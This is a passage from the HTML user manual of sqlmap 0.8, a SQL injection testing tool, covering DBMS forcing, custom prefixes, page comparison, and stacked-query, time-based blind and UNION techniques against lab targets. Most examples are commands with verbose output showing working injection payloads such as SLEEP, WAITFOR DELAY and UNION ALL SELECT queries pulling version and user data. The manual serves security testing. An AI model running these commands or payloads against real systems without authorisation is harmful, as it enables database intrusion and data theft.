</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Force the database management system name</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-dbms</CODE></P>
|
|
|
|
<P>By default sqlmap automatically detects the web application's back-end
|
|
database management system.
|
|
At the moment, fully supported database management systems are:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>MySQL</LI>
|
|
<LI>Oracle</LI>
|
|
<LI>PostgreSQL</LI>
|
|
<LI>Microsoft SQL Server</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>It is possible to force the DBMS name if you already know it so that sqlmap
|
|
will skip the fingerprint with an exception for MySQL and Microsoft SQL
|
|
Server to only identify the version.
|
|
To avoid also this check you can provide instead <CODE>MySQL <version></CODE> or
|
|
<CODE>Microsoft SQL Server <version></CODE>, where <version> is a valid version for
|
|
the DBMS; for instance <CODE>5.0</CODE> for MySQL and <CODE>2005</CODE> for
|
|
Microsoft SQL Server.</P>
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" -v 2 \
|
|
--dbms "PostgreSQL"
|
|
|
|
[...]
|
|
[hh:mm:31] [DEBUG] skipping to test for MySQL
|
|
[hh:mm:31] [DEBUG] skipping to test for Oracle
|
|
web server operating system: Linux Ubuntu 8.10 (Intrepid Ibex)
|
|
web application technology: PHP 5.2.6, Apache 2.2.9
|
|
back-end DBMS: PostgreSQL
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>In case you provide <CODE>-</CODE><CODE>-fingerprint</CODE> together with <CODE>-</CODE><CODE>-dbms</CODE>,
|
|
sqlmap will only perform the extensive fingerprint for the specified
|
|
database management system, read below for further details.</P>
|
|
|
|
<P>Note that this option is <B>not</B> mandatory and it is strongly
|
|
recommended to use it <B>only if you are absolutely sure</B> about the
|
|
back-end database management system. If you do not know it, let sqlmap
|
|
automatically identify it for you.</P>
|
|
|
|
|
|
<H3>Force the database management system operating system name</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-os</CODE></P>
|
|
|
|
<P>By default sqlmap automatically detects the web application's back-end
|
|
database management system underlying operating system when requested by
|
|
any other functionality.
|
|
At the moment the fully supported operating systems are two:</P>
|
|
<P>
|
|
<UL>
|
|
<LI>Linux</LI>
|
|
<LI>Windows</LI>
|
|
</UL>
|
|
</P>
|
|
|
|
<P>It is possible to force the operating system name if you already know it so
|
|
that sqlmap will skip the fingerprint.</P>
|
|
|
|
<P>Note that this option is <B>not</B> mandatory and it is strongly
|
|
recommended to use it <B>only if you are absolutely sure</B> about the
|
|
back-end database management system underlying operating system. If you do
|
|
not know it, let sqlmap automatically identify it for you.</P>
|
|
|
|
|
|
<H3>Custom injection payload</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-prefix</CODE> and <CODE>-</CODE><CODE>-postfix</CODE></P>
|
|
|
|
<P>In some circumstances the vulnerable parameter is exploitable only if the
|
|
user provides a postfix to be appended to the injection payload.
|
|
Another scenario where these options come handy presents itself when the
|
|
user already knows that query syntax and want to detect and exploit the
|
|
SQL injection by directly providing a injection payload prefix and/or
|
|
postfix.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page where the SQL query is:
|
|
<CODE>$query = "SELECT * FROM users WHERE id=('" . $_GET['id'] . "') LIMIT 0, 1";</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_str_brackets.php?id=1" -v 3 \
|
|
-p "id" --prefix "'" --postfix "AND 'test'='test"
|
|
|
|
[...]
|
|
[hh:mm:16] [INFO] testing sql injection on GET parameter 'id' with 0 parenthesis
|
|
[hh:mm:16] [INFO] testing custom injection on GET parameter 'id'
|
|
[hh:mm:16] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_str_brackets.php?id=1%27%29%20AND%207433=7433%20AND%20
|
|
%28%27test%27=%27test HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
[...]
|
|
[hh:mm:17] [INFO] GET parameter 'id' is custom injectable
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the injection payload for testing for custom injection is:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
id=1%27%29%20AND%207433=7433%20AND%20%28%27test%27=%27test
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>which URL decoded is:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
id=1') AND 7433=7433 AND ('test'='test
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
<P>and makes the query syntatically correct to the page query:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
SELECT * FROM users WHERE id=('1') AND 7433=7433 AND ('test'='test') LIMIT 0, 1
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>In this simple example, sqlmap could detect the SQL injection and exploit
|
|
it without need to provide a custom injection payload, but sometimes in
|
|
the real world application it is necessary to provide it.</P>
|
|
|
|
|
|
<H3>Page comparison</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-string</CODE> and <CODE>-</CODE><CODE>-regexp</CODE></P>
|
|
|
|
<P>By default the distinction of a True query by a False one (basic concept
|
|
for Inferential blind SQL injection attacks) is done comparing injected
|
|
requests page content MD5 hash with the original not injected page content
|
|
MD5 hash.
|
|
Not always this concept works because sometimes the page content changes at
|
|
each refresh even not injecting anything, for instance when the page has a
|
|
counter, a dynamic advertisment banner or any other part of the HTML which
|
|
is render dynamically and might change in time not only consequently to
|
|
user's input.
|
|
To bypass this limit, sqlmap makes it possible to manually provide a
|
|
string which is <B>always</B> present on the not injected page
|
|
<B>and</B> on all True injected query pages, but that it is <B>not</B>
|
|
on the False ones. This can also be achieved by providing a regular
|
|
expression.
|
|
Such information is easy for an user to retrieve, simply try to inject on
|
|
the affected URL parameter an invalid value and compare original (not
|
|
injected) page content with the injected wrong page content to identify
|
|
which string or regular expression match is on not injected and True page
|
|
only.
|
|
This way the distinction will be based upon string presence or regular
|
|
expression match and not page MD5 hash comparison.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page which content changes
|
|
every second due to a call to PHP function <CODE>time()</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
-v 5
|
|
|
|
[...]
|
|
[hh:mm:50] [INFO] testing if the url is stable, wait a few seconds
|
|
[hh:mm:50] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:50] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:50 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Connection: close
|
|
Transfer-Encoding: chunked
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996190</p>
|
|
|
|
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:51 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Content-Length: 161
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996191</p>
|
|
|
|
[hh:mm:51] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int_refresh.php?id=1 HTTP/1.1
|
|
Host: 172.16.213.131
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:51] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Fri, 25 Jul 2008 14:29:51 GMT
|
|
Server: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.2 with Suhosin-Patch mod_ssl/2.2.8
|
|
OpenSSL/0.9.8g mod_perl/2.0.3 Perl/v5.8.8
|
|
X-Powered-By: PHP/5.2.4-2ubuntu5.2
|
|
Content-Length: 161
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
<tr><td>1</td><td>luther</td><td>blissett</td></tr>
|
|
</table>
|
|
</body></html><p>Dynamic content: 1216996191</p>
|
|
|
|
[hh:mm:51] [ERROR] url is not stable, try with --string or --regexp options, refer to
|
|
the user's manual paragraph 'Page comparison' for details
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the string after <CODE>Dynamic content</CODE> changes its
|
|
value every second. In the example it is just a call to PHP
|
|
<CODE>time()</CODE> function, but on the real world it is usually much more
|
|
than that.</P>
|
|
|
|
<P>Looking at the HTTP responses page content you can see that the first five
|
|
lines of code do not change at all.
|
|
So choosing for instance the word <CODE>luther</CODE> as an output that is
|
|
on the not injected page content and it is not on the False page content
|
|
(because the query condition returns no output so <CODE>luther</CODE> is not
|
|
displayed on the page content) and passing it to sqlmap, you are able to
|
|
inject anyway.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page which content changes
|
|
every second due to a call to PHP function <CODE>time()</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--string "luther" -v 1
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the provided string is within the target URL page content
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>You can also specify a regular expression to match rather than a string if
|
|
you prefer.</P>
|
|
<P>Example on a <B>MySQL 5.0.67</B> target on a page which content changes
|
|
every second due to a call to PHP function <CODE>time()</CODE>:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--regexp "<td>lu[\w][\w]er" -v 1
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if the provided regular expression matches within the target
|
|
URL page content
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, when one of these options is specified, sqlmap skips the
|
|
URL stability test.</P>
|
|
|
|
<P><B>Consider one of these options a MUST when dealing with a page
|
|
with content that changes itself at each refresh without modifying the
|
|
user's input</B>.</P>
|
|
|
|
|
|
<H3>Exclude specific page content</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-excl-str</CODE> and <CODE>-</CODE><CODE>-excl-reg</CODE></P>
|
|
|
|
<P>Another way to get around the dynamicity issue explained above is to exclude
|
|
the dynamic part from the page content before processing it.</P>
|
|
|
|
<P>As you see in the above example the number after <CODE>Dynamic content: </CODE>
|
|
was dynamic and changed each second. To get around of this problem we could
|
|
use the above explained page comparison options or exclude this snippet of
|
|
dynamic text from the page before processing it and comparing it with the
|
|
not injected page.</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int_refresh.php?id=1" \
|
|
--excl-reg "Dynamic content: ([\d]+)"
|
|
|
|
[hh:mm:22] [INFO] testing connection to the target url
|
|
[hh:mm:22] [INFO] testing if User-Agent parameter 'User-Agent' is dynamic
|
|
[hh:mm:22] [WARNING] User-Agent parameter 'User-Agent' is not dynamic
|
|
[hh:mm:22] [INFO] testing if GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] confirming that GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] GET parameter 'id' is dynamic
|
|
[hh:mm:22] [INFO] testing sql injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] testing numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] confirming numeric/unescaped injection on GET parameter 'id'
|
|
[hh:mm:22] [INFO] GET parameter 'id' is numeric/unescaped injectable
|
|
[hh:mm:22] [INFO] testing for parenthesis on injectable parameter
|
|
[hh:mm:22] [INFO] the injectable parameter requires 0 parenthesis
|
|
[...]
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, when this options is specified, sqlmap skips the URL
|
|
stability test.</P>
|
|
|
|
|
|
<H2><A NAME="ss5.5">5.5</A> <A HREF="#toc5.5">Techniques</A>
|
|
</H2>
|
|
|
|
<P>These options can be used to test for specific SQL injection technique or
|
|
to use one of them to exploit the affected parameter(s) rather than using
|
|
the default blind SQL injection technique.</P>
|
|
|
|
<H3>Test for stacked queries (multiple statements) support</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-stacked-test</CODE></P>
|
|
|
|
<P>It is possible to test if the web application technology supports
|
|
<B>stacked queries</B>, multiple statements, on the injectable
|
|
parameter.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:15] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:15] [WARNING] the web application does not support stacked queries on parameter 'id'
|
|
stacked queries support: None
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>By default PHP builtin function <CODE>mysql_query()</CODE> does not support
|
|
multiple statements.
|
|
Multiple statements is a feature supported by default only by some
|
|
web application technologies in relation to the back-end database
|
|
management system. For instance, as you can see from the next example,
|
|
where PHP does not support them on MySQL, it does on PostgreSQL.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:01] [INFO] testing stacked queries support on parameter 'id'
|
|
[hh:mm:06] [INFO] the web application supports stacked queries on parameter 'id'
|
|
stacked queries support: 'id=1; SELECT pg_sleep(5);-- AND 3128=3128'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
|
|
--stacked-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:09] [INFO] testing stacked queries support on parameter 'name'
|
|
[hh:mm:23] [INFO] the web application supports stacked queries on parameter 'name'
|
|
stacked queries support: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND 'wRcBC'='wRcBC'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
|
|
<H3>Test for time based blind SQL injection</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-time-test</CODE> and <CODE>-</CODE><CODE>-time-sec</CODE></P>
|
|
|
|
<P>It is possible to test if the target URL is affected by a <B>time based
|
|
blind SQL injection</B> vulnerability.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: MySQL >= 5.0.0
|
|
|
|
[hh:mm:05] [INFO] testing time based blind sql injection on parameter 'id' with AND
|
|
condition syntax
|
|
[hh:mm:10] [INFO] the parameter 'id' is affected by a time based blind sql injection
|
|
with AND condition syntax
|
|
time based blind sql injection payload: 'id=1 AND SLEEP(5) AND 5249=5249'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_int.php?id=1" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with AND
|
|
condition syntax
|
|
[hh:mm:30] [WARNING] the parameter 'id' is not affected by a time based blind sql
|
|
injection with AND condition syntax
|
|
[hh:mm:30] [INFO] testing time based blind sql injection on parameter 'id' with stacked
|
|
query syntax
|
|
[hh:mm:35] [INFO] the parameter 'id' is affected by a time based blind sql injection
|
|
with stacked query syntax
|
|
time based blind sql injection payload: 'id=1; SELECT pg_sleep(5);-- AND 9644=9644'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2005 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.36/sqlmap/get_str.asp?name=luther" \
|
|
--time-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2005
|
|
|
|
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with AND
|
|
condition syntax
|
|
[hh:mm:59] [WARNING] the parameter 'name' is not affected by a time based blind sql
|
|
injection with AND condition syntax
|
|
[hh:mm:59] [INFO] testing time based blind sql injection on parameter 'name' with stacked
|
|
query syntax
|
|
[hh:mm:13] [INFO] the parameter 'name' is affected by a time based blind sql injection with
|
|
stacked query syntax
|
|
time based blind sql injection payload: 'name=luther'; WAITFOR DELAY '0:0:5';-- AND
|
|
'PmrXn'='PmrXn'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>It is also possible to set the seconds to delay the response by providing
|
|
the <CODE>-</CODE><CODE>-time-sec</CODE> option followed by an integer. By default delay
|
|
is set to five seconds.</P>
|
|
|
|
|
|
<H3>Test for UNION query SQL injection</H3>
|
|
|
|
<P>Options: <CODE>-</CODE><CODE>-union-test</CODE> and <CODE>-</CODE><CODE>-union-tech</CODE></P>
|
|
|
|
<P>It is possible to test if the target URL is affected by a <B>UNION query
|
|
(inband) SQL injection</B> vulnerability.
|
|
Refer to the <EM>Techniques</EM> section for details on this SQL injection
|
|
technique.</P>
|
|
|
|
<P>Example on an <B>Oracle XE 10.2.0.1</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/oracle/get_int.php?id=1" \
|
|
--union-test -v 1
|
|
|
|
[...]
|
|
back-end DBMS: Oracle
|
|
|
|
[hh:mm:27] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:27] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
valid union: 'http://172.16.213.131/sqlmap/oracle/get_int.php?id=1 UNION ALL SELECT
|
|
NULL, NULL, NULL FROM DUAL-- AND 6558=6558'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>By default sqlmap uses the <B><CODE>NULL</CODE> bruteforcing</B> technique to
|
|
detect the number of columns within the original <CODE>SELECT</CODE> statement.
|
|
It is also possible to change it to <B><CODE>ORDER BY</CODE> clause
|
|
bruteforcing</B> with the <CODE>-</CODE><CODE>-union-tech</CODE> option.</P>
|
|
|
|
<P>Further details on these techniques can be found
|
|
<A HREF="http://bernardodamele.blogspot.com/2007/07/insight-on-union-query-sql-injection.html">here</A>.</P>
|
|
|
|
<P>Example on a <B>PostgreSQL 8.3.5</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/pgsql/get_str.php?id=1" \
|
|
--union-test --union-tech orderby -v 1
|
|
|
|
[...]
|
|
back-end DBMS: PostgreSQL
|
|
|
|
[hh:mm:51] [INFO] testing inband sql injection on parameter 'id' with ORDER BY clause
|
|
bruteforcing technique
|
|
[hh:mm:51] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
valid union: 'http://172.16.213.150:80/sqlmap/pgsql/get_int.php?id=1 ORDER BY 3-- AND
|
|
1262=1262'
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the target URL parameter <CODE>id</CODE> might be also
|
|
exploitable by the inband SQL injection technique.
|
|
In case a case it is strongly recommended to use this technique which saves
|
|
a lot of time.</P>
|
|
|
|
<P>It is strongly recommended to run at least once sqlmap with the
|
|
<CODE>-</CODE><CODE>-union-test</CODE> option to test if the affected parameter is used
|
|
within a <CODE>for</CODE> cycle, or similar, and in case use
|
|
<CODE>-</CODE><CODE>-union-use</CODE> option to exploit this vulnerability because it
|
|
saves a lot of time and it does not weight down the web server log file
|
|
with hundreds of HTTP requests.</P>
|
|
|
|
|
|
<H3>Use the UNION query SQL injection</H3>
|
|
|
|
<P>Option: <CODE>-</CODE><CODE>-union-use</CODE></P>
|
|
|
|
<P>Providing the <CODE>-</CODE><CODE>-union-use</CODE> parameter, sqlmap will first test if
|
|
the target URL is affected by an <B>inband SQL injection</B>
|
|
(<CODE>-</CODE><CODE>-union-test</CODE>) vulnerability then, in case it seems to be
|
|
vulnerable, it will confirm that the parameter is affected by a <B>Full
|
|
UNION query SQL injection</B> and use this technique to go ahead with the
|
|
exploiting.
|
|
If the confirmation fails, it will check if the parameter is affected by
|
|
a <B>Partial UNION query SQL injection</B>, then use it to go ahead if it
|
|
is vulnerable.
|
|
In case the inband SQL injection vulnerability is not exploitable, sqlmap
|
|
will automatically fallback on the blind SQL injection technique to go
|
|
ahead.</P>
|
|
|
|
<P>Example on a <B>Microsoft SQL Server 2000 Service Pack 0</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mssql/get_int.php?id=1" -v 2 \
|
|
--union-use --banner
|
|
|
|
[...]
|
|
back-end DBMS: Microsoft SQL Server 2000
|
|
|
|
[hh:mm:42] [INFO] fetching banner
|
|
[hh:mm:42] [INFO] testing inband sql injection on parameter 'id' with NULL bruteforcing
|
|
technique
|
|
[hh:mm:42] [INFO] the target url could be affected by an inband sql injection vulnerability
|
|
[hh:mm:42] [INFO] confirming full inband sql injection on parameter 'id'
|
|
[hh:mm:42] [INFO] the target url is affected by an exploitable full inband sql injection
|
|
vulnerability
|
|
[hh:mm:42] [DEBUG] query: UNION ALL SELECT NULL, (CHAR(110)+CHAR(83)+CHAR(68)+CHAR(80)+
|
|
CHAR(84)+CHAR(70))+ISNULL(CAST(@@VERSION AS VARCHAR(8000)), (CHAR(32)))+(CHAR(70)+CHAR(82)+
|
|
CHAR(100)+CHAR(106)+CHAR(72)+CHAR(75)), NULL-- AND 5204=5204
|
|
[hh:mm:42] [DEBUG] performed 3 queries in 0 seconds
|
|
banner:
|
|
---
|
|
Microsoft SQL Server 2000 - 8.00.194 (Intel X86)
|
|
Aug 6 2000 00:57:48
|
|
Copyright (c) 1988-2000 Microsoft Corporation
|
|
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4)
|
|
---
|
|
</PRE>
|
|
</CODE></BLOCKQUOTE>
|
|
</P>
|
|
|
|
<P>As you can see, the vulnerable parameter (<CODE>id</CODE>) is affected by both
|
|
blind SQL injection and exploitable full inband SQL injection
|
|
vulnerabilities.</P>
|
|
|
|
<P>Example on a <B>MySQL 5.0.67</B> target:</P>
|
|
<P>
|
|
<BLOCKQUOTE><CODE>
|
|
<PRE>
|
|
$ python sqlmap.py -u "http://172.16.213.131/sqlmap/mysql/get_int.php?id=1" -v 5 \
|
|
--union-use --current-user
|
|
|
|
[...]
|
|
[hh:mm:29] [INFO] the target url is affected by an exploitable full inband sql
|
|
injection vulnerability
|
|
[hh:mm:29] [DEBUG] query: UNION ALL SELECT NULL, CONCAT(CHAR(112,110,121,77,88,86),
|
|
IFNULL(CAST(CURRENT_USER() AS CHAR(10000)), CHAR(32)),CHAR(72,89,75,77,121,103)),
|
|
NULL# AND 8032=8032
|
|
[hh:mm:29] [TRAFFIC OUT] HTTP request:
|
|
GET /sqlmap/mysql/get_int.php?id=1%20UNION%20ALL%20SELECT%20NULL%2C%20CONCAT%28CHAR%28112
|
|
%2C110%2C121%2C77%2C88%2C86%29%2CIFNULL%28CAST%28CURRENT_USER%28%29%20AS%20CHAR%2810000%29
|
|
%29%2C%20CHAR%2832%29%29%2CCHAR%2872%2C89%2C75%2C77%2C121%2C103%29%29%2C%20NULL%23%20AND
|
|
%208032=8032 HTTP/1.1
|
|
Accept-charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
|
|
Host: 172.16.213.131
|
|
Accept-language: en-us,en;q=0.5
|
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,
|
|
image/png,*/*;q=0.5
|
|
User-agent: sqlmap/0.8 (http://sqlmap.sourceforge.net)
|
|
Connection: close
|
|
|
|
[hh:mm:29] [TRAFFIC IN] HTTP response (OK - 200):
|
|
Date: Tue, 16 Dec 2008 hh:mm:29 GMT
|
|
Server: Apache/2.2.9 (Ubuntu) PHP/5.2.6-2ubuntu4 with Suhosin-Patch mod_ssl/2.2.9
|
|
OpenSSL/0.9.8g mod_perl/2.0.4 Perl/v5.10.0
|
|
X-Powered-By: PHP/5.2.6-2ubuntu4
|
|
Content-Length: 194
|
|
Connection: close
|
|
Content-Type: text/html
|
|
|
|
<html><body>
|
|
<b>SQL results:</b>
|
|
<table border="1">
|
|
